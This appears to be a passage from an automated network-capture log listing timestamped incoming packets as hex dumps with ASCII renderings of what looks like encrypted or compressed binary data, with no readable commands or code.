2022-04-20 13:31:40 UTC	203	IN	Data Raw: 05 1b 23 5c e1 eb 5b 1a 45 23 4a 76 78 a8 81 cc fa 32 34 90 4e aa 72 f4 7c 39 ca 27 5f 1b 64 63 b8 6a 1f 28 3c 7a e4 2a 0b cb c7 2f a3 6b 2f 19 d1 a6 1d 4e a9 73 9b 5b 0c 42 14 46 f5 5e 80 17 6d 76 e5 f6 e8 67 79 6f 49 ea 59 48 03 89 ab 1c 41 d8 bd 12 c9 97 62 15 23 1f 75 68 8f 9b 45 00 30 58 9f 2e 19 4b 4f 27 42 cf 17 6a b4 92 f2 a2 b8 3e 9d 8c c8 4b 33 ad dc 47 77 b0 da 25 36 a0 33 67 5e 8e 13 1e 7d 29 02 65 91 26 69 9a 67 14 ed 51 e5 ac 70 7e 0e 37 1c d8 29 d3 34 ff d2 90 65 6a 9a db 97 07 b0 3d 0b a7 d1 0b 2e 4f 9f 20 c4 e8 d4 be 0a 2f 9e ed 6f 34 88 30 a7 63 ca 0c ba 58 70 2a 5d 4a bf 80 56 12 af b1 4a 4d 40 52 d2 7f 4f 31 82 c6 33 55 a5 1b d5 ab 1a a6 dc 9d 80 cb 68 eb 81 b3 30 3f 6b 9f 3e 3a 98 df 3f b0 f1 da bf 10 01 54 07 aa ee 34 8a 7d 50 a8 c7 Data Ascii: #\[E#Jvx24Nr\|9'_dcj(<z/k/Ns[BF^mvgyoIYHAb#uhE0X.KO'Bj>K3Gw%63g^})e&igQp~7)4ej=.O /o40cXp]JVJM@RO13Uh0?k>:?T4}P
2022-04-20 13:31:40 UTC	204	IN	Data Raw: eb a7 46 ba 74 b6 8b b3 94 25 01 76 b9 3d 5f b7 dd 84 29 dd 39 d5 02 78 0a 80 99 7d e5 70 33 bd ba 57 03 64 3f 3c 41 53 3b d1 de 98 38 b0 27 59 90 c2 96 0c 45 49 30 4f 2a 3c 18 b7 61 92 5d cb 1d 72 2d 67 1e 06 62 62 c8 ab 07 fa 46 cf 77 d1 22 1c 57 bf bf 1a 64 fd 7f e1 33 df a0 ce 2d d2 83 80 d8 61 e7 6e 18 91 f9 6d 0a ac 28 af e8 95 e6 23 c5 3f 5d f2 c0 19 fe 98 c8 c1 63 4a 32 5d ad 93 60 00 9f d3 fb 53 87 c9 dc d0 39 ae 3c c0 98 f6 3e 22 3a 2b ed 7b f4 36 4d 84 ed 80 75 25 5d a8 89 92 5b 0c 12 d9 41 fd 4f 52 74 d0 68 c3 2f 9f ef e5 9f 08 72 5c 26 e7 fb cf 5c f3 8d 46 2f 1f b9 7c 9d ef 3a 7c 27 51 e9 e9 fa 20 35 96 84 1d 86 5f 84 9f 0d 24 63 58 3e 59 49 34 ef 36 e4 8b f6 7c d8 68 b5 d0 32 54 82 d0 8b bc a3 59 6a bf 89 1a 8a 65 59 9c 81 bc f5 bd e1 b5 96 Data Ascii: Ft%v=_)9x}p3Wd?<AS;8'YEI0O*<a]r-gbbFw"Wd3-anm(#?]cJ2]`S9<>":+{6Mu%][AORth/r\&\F/\|:\|'Q 5_$cX>YI46\|h2TYjeY
2022-04-20 13:31:40 UTC	205	IN	Data Raw: eb 07 c9 4e c7 b4 27 60 a3 87 8d 3e 6a 98 48 b8 b2 04 df 8a 84 51 c3 11 b7 ee 64 8a c5 d7 aa 62 d6 61 e6 82 02 e3 82 93 fd 3d ea 94 f7 1e 12 b3 50 bb 5f be c9 29 c7 ed b2 7c 31 50 5c 9b 8c de 92 20 8c b4 7d b5 07 60 91 d3 90 1f af 66 76 96 63 7b 5f de 8d 14 78 7f 03 50 5d 9d 14 3a 07 1b 76 5f 5a 4f 1d ff b3 08 c4 9e 26 72 88 cc d3 56 c7 cd d1 19 e8 ec 3c d2 e4 17 4b 6a 1e 37 bd ec af cd 10 70 e8 35 c1 f6 ab a8 72 9f 11 e3 52 11 26 6f 9c 14 30 84 89 01 56 f7 24 7e 7c 3b 78 ed ed d2 e1 80 9a d3 db 93 03 a4 ea c3 dc d0 e9 f1 a5 8a 64 07 b4 43 8b 87 20 5d c4 87 03 23 86 d1 fb 05 3b eb 4a 76 c6 3e 33 6b 5d 49 15 19 ba 1a d0 14 c0 f4 a3 4e a8 52 f4 19 de aa 32 6a 7d c4 27 be 46 5e ba 38 d8 3f 7e 05 14 9c 58 76 3d 54 8c dd a2 70 24 e2 49 33 65 8a d7 4f f3 6d a7 Data Ascii: N'`>jHQdba=P_)\|1P\ }`fvc{_xP]:v_ZO&rV<Kj7p5rR&o0V$~\|;xdC ]#;Jv>3k]INR2j}'F^8?~Xv=Tp$I3eOm
2022-04-20 13:31:40 UTC	206	IN	Data Raw: 95 9f 9e ce 1b a5 d1 9d 2e 3a 9a 9f da 8d d6 07 24 3f 8f ef 6f a2 88 f7 8b 15 cc 69 b8 02 5f 1b 4c 48 bf 16 56 8e a9 ec 55 28 42 2e fd 29 5e 33 82 50 33 57 8b 43 d3 ce 18 b8 f3 e9 91 c9 68 7d 81 8a 31 96 74 fa 3c 1a b7 4a 2e b2 f1 4c bf d7 07 f6 01 cf ec f5 a5 c7 41 aa c7 6c 54 0b d3 37 d5 fa 91 4e 12 e8 02 f7 02 82 86 e6 ed 6a ea b1 2b 12 c2 b0 ea 31 f6 e4 ae 90 8c a7 5a f4 b6 8b 9a 05 f6 91 54 07 2a 4a 30 43 0e 1b 79 47 ee 8f 82 78 46 93 65 0a cf 21 84 7f 19 4f 6f 58 d9 1d 28 24 3d b1 c6 13 ae f0 ce 89 66 c5 5b d1 85 78 d9 41 80 d1 15 32 68 62 07 bf 7a af cb 84 45 8f 6f f4 d6 d2 aa ef af 13 75 52 de b6 5a 37 46 05 c5 f0 03 e8 c7 26 e8 7c 0b ec d8 65 90 d4 e6 e3 d1 04 a3 01 32 ea 8e 4d e5 38 a3 90 0d 1d 05 b4 72 89 11 20 3a 50 b2 bb 61 b3 75 82 07 1a da Data Ascii: .:$?oi_LHVU(B.)^3P3WCh}1t<J.LAlT7Nj+1ZT*J0CyGxFe!OoX($=f[xA2hbzEouRZ7F&\|e2M8r :Pau
2022-04-20 13:31:40 UTC	207	IN	Data Raw: 61 2d 0f db 41 6b 4f 9e 55 a5 69 a6 2d c0 d4 a2 82 0a 72 ca 26 8a ff db 4b 96 8f 27 14 7a a4 7e 9d 79 3a 6d 01 0e e8 8c f8 22 0e 1c 99 1f 86 c9 84 2c 08 5a 74 3d 3c 7d 72 9f f2 34 e4 1d f6 2b f2 c9 b4 b5 30 91 b9 19 96 be a3 cf 6a 66 8c 96 9d 00 5b 7b ba 52 e8 bf e1 23 96 53 88 dd 9c c8 e2 b7 da 33 8e 2e 85 88 c0 99 00 ee 75 e3 dc bd 2b 18 b3 ad 27 b2 73 65 0f 0c 08 49 23 40 dd 7f 5b fb 51 80 48 99 7d 1f 8c 9e fa 0c 08 04 4e 97 71 57 7e 7f e6 b1 52 49 64 03 84 fe 1f 36 29 d9 e6 9c 0e 3b ca 7d a3 e9 13 8d d1 c1 1e ed ab 77 b7 88 01 10 14 e2 c9 ca 80 5f 78 d5 e7 ab ee 55 6b 3d 49 2c 65 dc 03 18 a8 bf 43 1f 93 0e db c5 62 fd 1f 8b 75 de 9a 38 47 e2 31 27 8d 7c 19 41 72 b3 42 74 14 c9 b6 96 f4 fb aa 6c 9d a0 f5 df 33 21 cb e4 75 12 db 9e 24 f2 33 29 63 1a 13 Data Ascii: a-AkOUi-r&K'z~y:m",Zt=<}r4+0jf[{R#S3.u+'seI#@[QH}NqW~RId6);}w_xUk=I,eCbu8G1'\|ArBtl3!u$3)c
2022-04-20 13:31:40 UTC	209	IN	Data Raw: b3 d1 db 05 03 c3 e9 bb d9 b5 eb eb e2 0d 4d 05 b4 d5 8b c2 38 0f c4 e2 01 18 c1 75 d2 07 3b 7d 4a fb c2 8f 38 0e 5f 94 52 dc 93 18 d0 82 c0 f4 bf ea a8 37 f6 e6 99 40 1b 68 7d 52 27 67 42 3f aa 5d da bf 39 0d 3e 9e 58 e0 3d b6 91 53 a2 15 26 43 0e 1d 4f 88 d7 d9 f3 82 a3 1f 7e 65 b0 71 69 4d f8 1c 02 88 2b ec 26 e0 d9 10 63 b7 e2 0f 32 47 34 f2 45 2a 85 ac e7 a5 eb f1 0e 2e 74 9b 89 10 96 a7 1c f3 a0 6f 5f c0 95 10 29 97 3e 76 00 fc 0e 67 80 2f e5 e9 7b 29 ba 33 01 c7 3d 31 60 92 22 83 de 23 70 24 27 d8 99 61 94 a2 41 6a 2e 1d 2a e1 50 23 61 1c 5f 68 1f a8 0b 6a 00 54 62 9d 80 3f 07 ab 54 6c 75 a9 27 70 49 ed bf 3a 2d 69 7f 59 31 7c a2 5a 07 9c 9d d2 d8 23 ae fa 18 08 eb ce 08 ae 2d 06 f6 c7 e6 47 8c ab 5d 10 c2 ba fc 26 e2 4a 7d 18 32 db e4 07 60 e1 8c Data Ascii: M8u;}J8_R7@h}R'gB?]9>X=S&CO~eqiM+&c2G4E.to_)>vg/{)3=1`"#p$'aAj.P#a_hjTb?Tlu'pI:-iY1\|Z#-G]&J}2`
2022-04-20 13:31:40 UTC	210	IN	Data Raw: 4b d9 b1 af 67 21 5d e6 c2 89 9d aa 3c 9d 8c 5e dd 2b 22 fe 70 25 e0 46 f8 24 a2 33 67 c8 18 e3 ef 4b 1e 50 35 2f da 7b 98 67 14 7b c7 a9 68 5d 49 5c 67 c3 5b 3b d1 34 ff 44 06 48 70 ab ec c5 57 b1 98 19 a5 d1 0b b8 d9 e9 a9 ed df 86 ee 29 69 8d ef 6f 34 1e a6 f0 35 fb 3b e8 08 34 4d 4e 48 bf 80 c0 84 0f da 62 7a 12 02 b7 7f 5c 33 82 c6 a5 c3 60 63 e4 9c 48 f6 5a bf 93 c9 68 eb 17 25 fa a0 43 a8 6c 6a 3f 1c 2c b2 f1 da 29 86 9a d4 36 9d bc 64 42 91 43 aa c7 fa c2 e4 26 01 e2 a8 c1 fd d7 be 00 f7 02 14 10 52 3d 47 dd e3 7b c7 e6 e7 e8 31 f6 72 38 8e 90 96 6d a6 e6 7d 99 52 f4 91 54 91 bc ad af 6a 39 49 29 5f 90 d8 80 78 46 05 f3 5f 9f 10 b3 2d 49 76 2f 0f db 1d 28 b2 ab c6 b9 3b 99 a2 9e d3 c7 92 59 d1 85 ee 4f 3e fe e0 22 60 38 1e 84 e8 78 af cb 12 d3 ea Data Ascii: Kg!]<^+"p%F$3gKP5/{g{h]I\g[;4DHpW)io45;4MNHbz\3`cHZh%Clj?,)6dBC&R=G{1r8m}RTj9I)_xF_-Iv/(;YO>"`8x
2022-04-20 13:31:40 UTC	211	IN	Data Raw: db ff 0a 9a 59 ae e3 c7 31 b5 96 5e 0f 31 ab 1c 11 40 3d 00 ca 89 7e e7 46 21 5d 24 04 12 cd 81 e5 68 02 b7 3a d2 d1 f8 ae aa 5f 80 f9 bc 16 58 50 f3 7a 68 35 d5 97 c9 15 b4 c1 d9 bb a2 c1 9a 2f 9f fd 6e fe 16 c5 1e ba 41 f4 b4 ce d0 b3 a8 08 d3 5d 61 70 bc ed e8 c7 12 35 62 7b fd 7f eb c5 69 e9 96 3a 1e fc b3 72 9c 1f 6d 3f e6 5c 2d 08 61 46 65 6d 78 09 bd bd e1 34 a8 8b 2a ca 4d ff e2 e5 d6 2c 12 1b 57 be 23 40 c2 2a cd a3 3c 57 f4 cf d5 50 bd 95 54 b6 5f b9 3c e6 8d 98 a6 6e 93 1d 37 2d c1 1e 21 03 16 db 3b b3 3d 5a 03 1a 62 ac d3 04 60 48 f5 38 49 14 fe 5f 30 7c c3 e8 18 17 c1 27 8c 0a 7f cd 23 33 ac 08 5d 97 70 c0 e6 7a d1 80 a9 18 d3 6d 98 f8 fe 37 68 61 c1 7e 02 0c ed 09 8d 6f ce 8e c4 e5 2a 7f 4a 22 34 ac fd 41 f5 47 fc e2 bb 5b 99 42 72 81 16 61 Data Ascii: Y1^1@=~F!]$h:_XPzh5/nA]ap5b{i:rm?\-aFemx4M,W#@<WPT_<n7-!;=Zb`H8I_0\|'#3]pzm7ha~o*J"4AG[Bra
2022-04-20 13:31:40 UTC	212	IN	Data Raw: 28 9b 3d e2 c7 d7 a5 31 ca 4c 7c 8e 5a 48 81 1a f9 2d 82 45 13 96 48 0d 37 24 7e cb c0 01 4f 73 61 ca df f2 a2 db 9b 0f 6d 22 d6 b9 5e a6 43 11 cd 09 07 85 e4 0a e9 d5 0f 69 c0 9f 8a 50 e0 85 df 9e 99 c2 32 43 a8 90 ef 2a a5 51 2f 8d 05 cd 42 22 1f 74 30 d7 b6 e8 7b e8 7d c3 03 cc e3 24 ea 17 be ce 7e 9f 19 6c dd b8 04 fa 16 19 66 8a f3 b1 63 07 48 2a 62 db 68 bc c4 bf 3b 0f 0b 51 0d ae 4f ed 05 df 9a 7c 5e 9c c8 f5 65 5c 63 f1 b4 88 1d 14 90 13 45 52 fa f2 02 3b 36 41 66 4b 65 32 16 c3 1e 0f 6c e9 df 0a 43 47 aa 75 07 cb 43 c5 7f 0c 88 68 98 6d e1 6f a2 47 29 80 bb 9a 8d 4f 74 8d c1 bc 34 5e b2 d9 1d 62 93 3f e1 d2 37 4a 59 ee 7f a0 68 7c 20 3b 31 c1 76 6b 67 48 a6 fa f5 14 9d 31 27 55 ff 53 f2 9d 5d ed 7a 73 46 46 3c 24 39 07 17 56 ff cf 04 e7 5a 76 04 Data Ascii: (=1L\|ZH-EH7$~Osam"^CiP2CQ/B"t0{}$~lfcHbh;QO\|^e\cER;6AfKe2lCGuChmoG)Ot4^b?7JYh\| ;1vkgH1'US]zsFF<$9VZv
2022-04-20 13:31:40 UTC	214	IN	Data Raw: e6 8e 2b 1d c8 fc a2 fc 09 22 c6 10 1f 08 bf 0d 9a 6c 02 82 05 f3 e2 6c 80 83 58 d6 e4 0a e8 86 41 fd 49 46 59 8b 29 ad ab 70 47 de 99 1f d8 bc 64 a5 0f 78 76 57 99 b7 53 89 24 1b 8e 08 3e 81 4a b0 43 2d 05 67 ae e3 f6 2d b0 2a 9f d5 ce 6a 3d 78 d3 9b 75 78 c9 e2 27 4b 33 93 7e d8 13 fa 78 b4 2c 38 92 88 7f c0 62 19 ee a6 e3 9f 48 8b 0c d3 1c c4 38 31 35 4b d2 ca 64 95 86 5a 95 9b b1 38 03 ec d0 fd 20 c1 86 9b d9 29 dd db 08 a1 8f 86 49 0d 91 1a a7 fc ee 74 a1 cc 70 ff 64 d8 bf 44 56 d1 85 6c 54 21 43 94 ff 78 5d e2 81 32 13 03 a5 8f d2 a2 00 5e c5 a7 91 3d 48 f8 81 e4 30 6a 62 da 3a 23 99 94 06 75 f3 8b be c6 0d 8a 02 ce ed b5 a2 28 58 d3 c1 51 73 c5 c8 ce d7 5e b1 ee 3d 3e 02 03 22 10 9f 9e eb fc ef 4e 28 13 ed 7e eb c5 ee a6 ae 42 8f 62 40 70 b6 b1 b4 Data Ascii: +"llXAIFY)pGdxvWS$>JC-g-*j=xux'K3~x,8bH815KdZ8 )ItpdDVlT!Cx]2^=H0jb:#u(XQs^=>"N(~Bb@p
2022-04-20 13:31:40 UTC	215	IN	Data Raw: 67 6d 25 a7 df cd 12 93 24 31 9a cb 8c 78 6e 8e 2f db 23 05 1a 88 66 e8 7f 8d 34 8b 2a dc 09 32 6a d3 cf c9 27 22 7f 33 72 75 02 56 4b 49 bf ee 44 78 7f a8 30 d0 af d7 2c 5d 9f 83 f5 c7 ea 0c 18 ab ec d4 1d 60 28 76 ec 1b f3 d2 c4 71 4a a5 c1 4d fc aa e4 aa 54 91 35 a9 8d 3e 64 00 8b 12 d9 10 87 c0 c7 26 19 6e 3c 58 98 f3 3d 17 38 69 ed 74 e9 ed 49 8c ed 07 75 18 4d 93 8b d7 5b 2f 0f d5 41 e4 4f c4 74 9e 6b eb 2d cf ef b2 82 2f 72 85 22 63 fb c7 49 1f 8b 14 2f 55 a4 22 91 ed 3a db 27 67 e6 ce f8 45 35 c7 9d 0d 86 66 84 d0 09 7d 76 50 3c d0 4d 8f f2 75 e4 52 f2 e4 d8 5c b6 e7 33 0a 82 bf 96 be a3 4b 6a 84 89 7a 9b 58 5b 71 81 89 ec b7 e1 74 96 61 a6 e0 9e 5d e2 b7 e5 39 8e fa 85 ed c8 16 05 03 77 6a d8 4f 10 c6 b3 55 2f 2c 73 a8 24 c4 02 11 23 b8 e1 7f 52 Data Ascii: gm%$1xn/#f4*2j'"3ruVKIDx0,]`(vqJMT5>d&n<X=8itIuM[/AOtk-/r"cI/U":'gE5f}vP<MuR\3KjzX[qta]9wjOU/,s$#R
2022-04-20 13:31:40 UTC	216	IN	Data Raw: a5 ae fd 5f e5 43 f7 60 1b c5 52 8f 50 a1 e1 06 c8 a6 b2 c7 3e bb 72 83 81 c1 92 75 ab e7 7d 98 08 1e 91 53 9e c0 ad 31 79 fa 4b 62 4f 82 8c af 77 c6 04 48 50 cc 14 dd 02 19 76 3b 5a d9 1d 28 b2 91 c6 c6 26 ac a0 63 d3 dc c7 c1 d1 20 ee 69 3e 98 e5 3e 63 5a 1f 73 bc 37 ae a2 13 a1 eb 45 c3 94 80 cd 70 17 13 dc 50 db 23 64 9d 1d 33 a0 a3 bc 55 13 27 1f 7f 66 7e 06 eb a8 e4 d8 b6 89 de 2a 06 e2 ef eb dd 90 ed 0a a3 c7 4b d8 b2 47 8c 2f 27 62 c1 d1 06 04 81 fe d5 d1 3c d2 42 a4 ce ea 32 27 57 90 1d 4c 9b 83 d8 b2 c8 cc ab 13 a2 24 ff 25 d7 91 12 b6 74 2e 2e 32 4c 31 a2 68 d0 12 74 86 34 07 52 da 37 78 86 88 aa ba 2c 94 42 99 44 3a dc 8a f8 36 ac 0f 70 06 bc 28 2d 11 f4 69 0e 96 27 da 37 66 d7 fa 6f 61 a6 e1 3e 6d 39 2b 48 fc 8c 1f e8 4f e6 6f 4b c5 79 62 84 Data Ascii: _C`RP>ru}S1yKbOwHPv;Z(&c i>>cZs7EpP#d3U'f~*KG/'b<B2'WL$%t..2L1ht4R7x,BD:6p(-i'7foa>m9+HOoKyb
2022-04-20 13:31:40 UTC	217	IN	Data Raw: 6d 76 31 74 05 80 1e c6 1d 9c db a2 98 d9 47 10 1b 28 ad 13 2f 75 48 62 38 c1 19 66 7c e3 7d 1d fa 9c 16 28 3f 7a 2a c8 cf 35 32 41 0c 4c 97 71 c0 2d 68 a2 af 51 19 64 62 ed fd b8 1c 28 4f a0 7b 5c 0f 64 39 a2 6b 2f 8e 88 c0 ce 75 aa 23 9b bc 58 41 db 6a f4 c8 80 5e 25 42 11 84 ef 60 69 6c 16 eb e8 f5 04 18 eb 28 22 89 dd 3c d8 95 21 14 40 88 60 f4 98 ae 04 51 55 13 2a 07 1b 4b 09 b0 25 75 66 4c b5 c2 b1 cf c1 3d 25 8d cb dd 70 20 a0 73 ea e1 d9 ab 65 a3 5e 66 f9 1d 10 fb 3a 1d 6f 34 30 82 7a 98 67 15 9c c6 db 76 69 4b 4c 66 6f 09 92 c8 3d ff d2 07 10 64 d8 c6 9d 57 b0 cd 6c a4 e7 23 26 d9 9f ab a1 dc 88 e4 02 3d 8f ee 14 35 ac 80 af 20 ce 38 c5 09 00 3d 44 48 bf 81 29 85 e1 c1 5f 78 42 03 53 2a 10 2b 8a c6 70 c2 26 77 65 80 1c f6 9f ea 14 c8 ff f5 85 25 Data Ascii: mv1tG(/uHb8f\|}(?z52ALq-hQdb(O{\d9k/u#XAj^%B`il("<!@`QUK%ufL=%p se^f:o40zgviKLfo=dWl#&=5 8=DH)_xBS*+p&we%
2022-04-20 13:31:40 UTC	219	IN	Data Raw: 28 9d 68 5d 4b 7f 02 03 d5 ef 77 57 c7 9f 3f 76 70 19 5c 77 c8 c3 b4 d1 b0 d9 9f 6b 15 37 df b9 ab a1 45 37 ff 9a 7d 6e 86 ef 20 6c ae 3e dc 4d 47 6e 27 ee 1a db 70 71 6a ba 70 40 51 79 2d 41 e2 61 d3 98 d9 38 61 66 d8 d1 b6 94 3d 04 5f 4e 0c 2a 5f 59 21 05 5d 5f b9 7a 56 60 30 66 71 0e 07 8e 54 6b ce 1a 9b 18 e4 63 45 2d fc bf 7d 25 6b 38 3c 45 bc cd f2 58 c4 fa cb b6 07 88 8a 75 69 9f 31 67 92 69 33 b6 d5 e6 60 87 a9 19 52 c2 69 be c8 8e 3d 7f 0f 70 5d e5 47 60 80 ce e6 9b 41 87 4a 82 d2 5d ec 3c 33 da fa 5b 55 38 1c af 79 a1 79 0c c7 ed 54 36 c1 0a de 8b 86 18 2f 4a 98 41 bb 0c c4 33 d3 6b be 6e cf 8e e3 82 68 31 5c 45 32 fb 8a 0a c6 ea 55 2f 1e e7 7e fa ac 3a a8 63 3b a9 98 f8 34 71 1e dc 5b 86 19 c0 09 4a 2b 76 25 78 09 2e f8 86 6b a2 e4 84 87 b9 88 Data Ascii: (h]KwW?vp\wk7E7}n l>MGn'pqjp@Qy-Aa8af=_N*_Y!]_zV`0fqTkcE-}%k8<EXui1gi3`Ri=p]G`AJ]<3[U8yyT6/JA3knh1\E2U/~:c;4q[J+v%x.k
2022-04-20 13:31:40 UTC	220	IN	Data Raw: de f4 37 84 dc bc 23 27 06 63 a6 4a 5e 63 f0 a9 47 a6 c6 02 b4 fa 5c 97 a8 8a 91 99 1a 84 eb 40 53 d7 32 cb 48 0b 98 18 5c dd 81 bf cd f2 78 87 62 eb 8d 64 c8 a7 41 e9 a5 fa 10 86 d2 47 b5 aa d7 9f 3d ad 60 f7 4a 76 86 33 89 5f 8a 83 2b a4 8f b2 8e 53 f6 17 cc 8e e8 f0 58 c3 d4 7d d8 74 95 fe 26 fd 43 cf 36 34 6f 4b 3a 3c de c9 e1 78 03 66 65 19 ae 14 c1 4c 19 3e 3c 5a b8 7e 28 d0 5e c6 ad 45 ac c4 ad d3 33 a4 5b b7 e6 ee be 5d 82 b7 6e 11 1c 7b 5a 93 39 c0 a7 7e 20 89 11 a8 bb ec d9 5c d8 74 1b 37 ac 49 39 9e 09 59 a4 d2 6c 25 98 42 9c 52 5d 13 ab 9a e3 8d a6 d2 a2 b2 f0 03 61 8f e0 bf a4 98 d8 cb 6c 4d 57 d1 20 ee 78 56 5f 87 c1 78 1d e5 77 85 69 5f bb 38 8f a5 ba 7b 2d 3c 19 57 ba 93 5b b4 14 84 06 a3 9a ce 67 b0 2d de 05 7f 68 35 a0 27 4f 23 7e f7 44 Data Ascii: 7#'cJ^cG\@S2H\xbdAG=`Jv3_+SX}t&C64oK:<xfeL><Z~(^E3[]n{Z9~ \t7I9Yl%BR]alMW xV_xwi_8{-<W[g-h5'O#~D
2022-04-20 13:31:40 UTC	221	IN	Data Raw: 5f ac 55 54 87 94 99 1e 51 72 fc 1f ee 3e ea 6d 61 0a 76 3f 59 6a 3d fc 9c 53 88 ee f6 ae b7 8b d8 89 5f 65 e6 5d ff d2 c6 59 2e 4c e5 c6 eb 35 1d a5 ed 35 e8 fc 8e db e5 d7 ce 8d 9e ff 87 1a be 7c ef 47 eb 53 af 7a 70 b7 12 b3 8c 35 7f 79 d6 de 54 69 1c 2c 51 55 6f 19 50 39 95 22 15 9a 3c 73 48 41 1d 5e d1 88 93 5e 51 48 2f fa 14 c1 0d 0c be db 16 70 08 06 f6 9d 72 53 29 08 83 0e 59 6f a6 49 cc 06 69 e6 bd a4 50 1a c6 46 9b fa 66 34 40 23 98 b8 c6 36 14 26 a9 c7 85 05 69 2a 2c 9e 1f b7 6f 7d e6 48 2e ed bd 5c bc e1 3d 58 4c ed 00 b2 ff e0 26 3d 55 12 e8 49 6d 14 00 e2 04 01 78 33 f8 a3 9f ab a8 5b f8 f8 97 9b 46 4d a7 3c 14 8d bf ab 41 c7 47 38 0b 6b 76 89 30 7d 6d 50 91 ee 1c ec 38 57 82 aa 95 1e 1c 2e 7e 29 7d 65 5c d1 53 9a a6 59 35 17 f1 8d f0 24 c3 Data Ascii: _UTQr>mav?Yj=S_e]Y.L55\|GSzp5yTi,QUoP9"<sHA^^QH/prS)YoIiPFf4@#6&i*,o}H.\=XL&=UImx3[FM<AG8kv0}mP8W.~)}e\SY5$
2022-04-20 13:31:40 UTC	222	IN	Data Raw: bb 5a cf 48 3f f7 94 7f 76 4b 1e ed 37 88 59 28 cb 8f 7c 10 a2 3d de e4 ae 37 4a 6c af 28 92 21 86 15 e3 0e f6 65 bb 9b d0 d5 6f 10 0e 43 02 8b 81 27 b5 ea 16 68 1d d0 2c f8 9c 4a 85 49 48 8f dc bb 1c 5a 6d fc 1f c2 36 f7 79 62 1c 13 6d 68 7b 30 cd 93 46 97 ee f6 b8 bd 8a d3 97 43 61 82 58 e4 db c2 2d 0f 29 c4 d6 f3 24 32 af e0 23 9c fb 84 d9 f3 df c3 9c fb 98 a5 0b 95 7a eb 57 e7 71 a1 6c 61 88 03 d2 a8 22 10 5f d7 c4 53 4b 01 0a 56 56 7d 6a 42 3e 8d 18 08 8f 30 62 2d 26 3c 4f e2 ab 8e 57 34 61 2b e3 2e 82 1f 07 9d f6 39 6d 01 63 ec 94 6d 53 48 2b b5 0e 6a 7a a1 4e e2 1f 5b fd b8 a3 6b 0f ce 23 c8 e9 42 14 7c 34 90 a9 e4 1e 0c 37 95 cf 8a 15 1d 08 49 a9 36 b3 73 71 c4 4c 31 cf d8 55 bc e7 03 61 46 ed 34 aa ee dc 2e 32 45 66 ea 2c 5e 3e 26 d5 03 00 60 2d Data Ascii: ZH?vK7Y(\|=7Jl(!eoC'h,JIHZm6ybmh{0FCaX-)$2#zWqla"_SKVV}jB>0b-&<OW4a+.9mcmSH+jzN[k#B\|47I6sqL1UaF4.2Ef,^>&`-
2022-04-20 13:31:40 UTC	223	IN	Data Raw: f1 76 75 15 bb 54 0a ec 2d 46 a6 d4 66 06 85 4b 8e 15 67 1f 8b 9b f0 88 8a d4 d1 98 fc 6e 42 8b fc be b6 9f d3 cc 61 2a 05 e0 2c d8 65 52 53 a8 d5 01 34 e3 03 81 73 49 82 24 87 c6 e9 4f 3c 2c 6d 67 b7 fd 7f d0 47 b9 11 d7 ba c7 49 b2 3b bf 35 72 06 1a c4 73 47 13 46 c7 63 bd 6f 2a 60 72 f1 36 11 3d a5 e9 12 ff 08 55 d5 49 5d 27 88 94 27 f3 bf cf 2a 39 5d b0 24 49 4f bf 74 02 56 43 44 5a bd db 22 0b 82 e7 6c 46 24 5c 64 21 e1 81 fc 8d f5 8d cf 46 4b 1c 9b ee e3 e2 2a 51 a7 d1 4c 28 d8 af 76 61 f6 4d 88 00 6b 65 3f f2 0a 91 15 7b 4a c9 5b 01 17 51 19 32 cf 20 9e bf ec 50 26 40 bd ed a8 d1 24 20 3c 59 39 4b 5e 74 44 31 7d 2b 96 1f 65 48 2b 44 71 0e 0e 98 5c 73 c3 54 bd 10 f5 76 20 26 cd ef 7b 10 03 7f 1e 54 9e e4 f1 41 cd fa f0 88 00 93 90 18 6f 8e 2c 57 ab Data Ascii: vuT-FfKgnBa,eRS4sI$O<,mgGI;5rsGFco`r6=UI]''9]$IOtVCDZ"lF$\d!FKQL(vaMke?{J[Q2 P&@$ <Y9K^tD1}+eH+Dq\sTv &{TAo,W
2022-04-20 13:31:40 UTC	225	IN	Data Raw: 6a 7b e9 45 24 e7 cf 52 ad fd 0f 15 6b e8 06 b6 db c2 20 3f 42 7b fb 44 74 4b 03 e5 30 1d 79 5f e4 a3 9c aa c7 51 9d c5 8b af 4a 51 bf 1d 21 92 bb c5 55 c4 5c 15 33 18 56 95 0b 71 00 77 ff 89 3a f6 67 50 83 c7 a0 05 68 0d 62 67 5b 66 39 99 5a ff 86 69 27 0a f1 82 f0 36 de cc 52 d6 9d 62 5a ad f3 cf 9d b3 b2 87 6b 53 8f 8d 01 34 eb c8 a7 44 a0 39 f4 6d 1e 19 2b 2d cb df 05 e7 dd bc 32 16 42 41 bd 5b 27 75 f0 a9 5e 90 c6 04 b4 fb 76 f6 bb 8e e5 96 3d 98 e4 57 64 cc 1d cf 52 6a eb 2d 5a ed a4 a9 da f4 55 ac 68 fa 82 64 c6 ac 32 de a2 94 54 82 bc 02 84 d3 e2 89 58 87 2c b4 6d 79 f6 3d 85 3a 86 95 66 a8 89 d7 86 1f b2 17 dd e7 e9 fc 58 e9 df 13 b5 44 9e f0 3a f6 4f ee 5a 1f 7c 29 16 3e ac e9 c1 10 27 6c 0b 5f 9e 71 e3 44 56 04 36 3d b0 73 28 f8 52 af a0 26 cb Data Ascii: j{E$Rk ?B{DtK0y_QJQ!U\3Vqw:gPhbg[f9Zi'6RbZkS4D9m+-2BA['u^v=WdRj-ZUhd2TX,my=:fXD:OZ\|)>'l_qDV6=s(R&
2022-04-20 13:31:40 UTC	226	IN	Data Raw: 10 8b 75 c4 53 45 0d cc bf 5d 15 6b 37 28 31 8b d3 9e 4f d8 9f e1 a9 61 83 89 18 6d 9a 58 6e 8d 28 54 85 97 a4 51 c5 ea 2f 10 86 5e fc 8d ba 7f 39 3a 32 1a df 05 28 93 8c 81 9c 77 d8 70 a5 b3 4b ae 7f 3a fd 9b 4f 17 6c 14 ae 11 88 46 4d c0 84 64 10 a2 3d f2 f9 bb 08 4a 7f ba 33 9c 3b ab 06 d3 03 97 5f cf 8d d2 82 69 00 5c 42 03 fb ad 2c b4 8f 45 5b 0a c1 1f f0 bd 5f 8b 43 5e 98 dc ba 19 5b 7f eb 66 d4 3a e5 6d 68 1d 76 3e 74 48 78 de 80 4d 94 ff 99 b9 bd 8e c0 8c 53 61 d2 69 f9 c8 ca 3d 0f 5b 89 ee db 65 18 be f8 20 9c d0 b2 d0 e4 ce cb 8b fb c8 90 01 97 58 ea 4b f7 1e 92 50 42 98 05 ca ac 33 7f 49 d6 df 51 4d 10 2d 74 4b 65 6f 4a 38 84 0f 5b af 23 7f 38 4a 1d 6e cb 9d b9 40 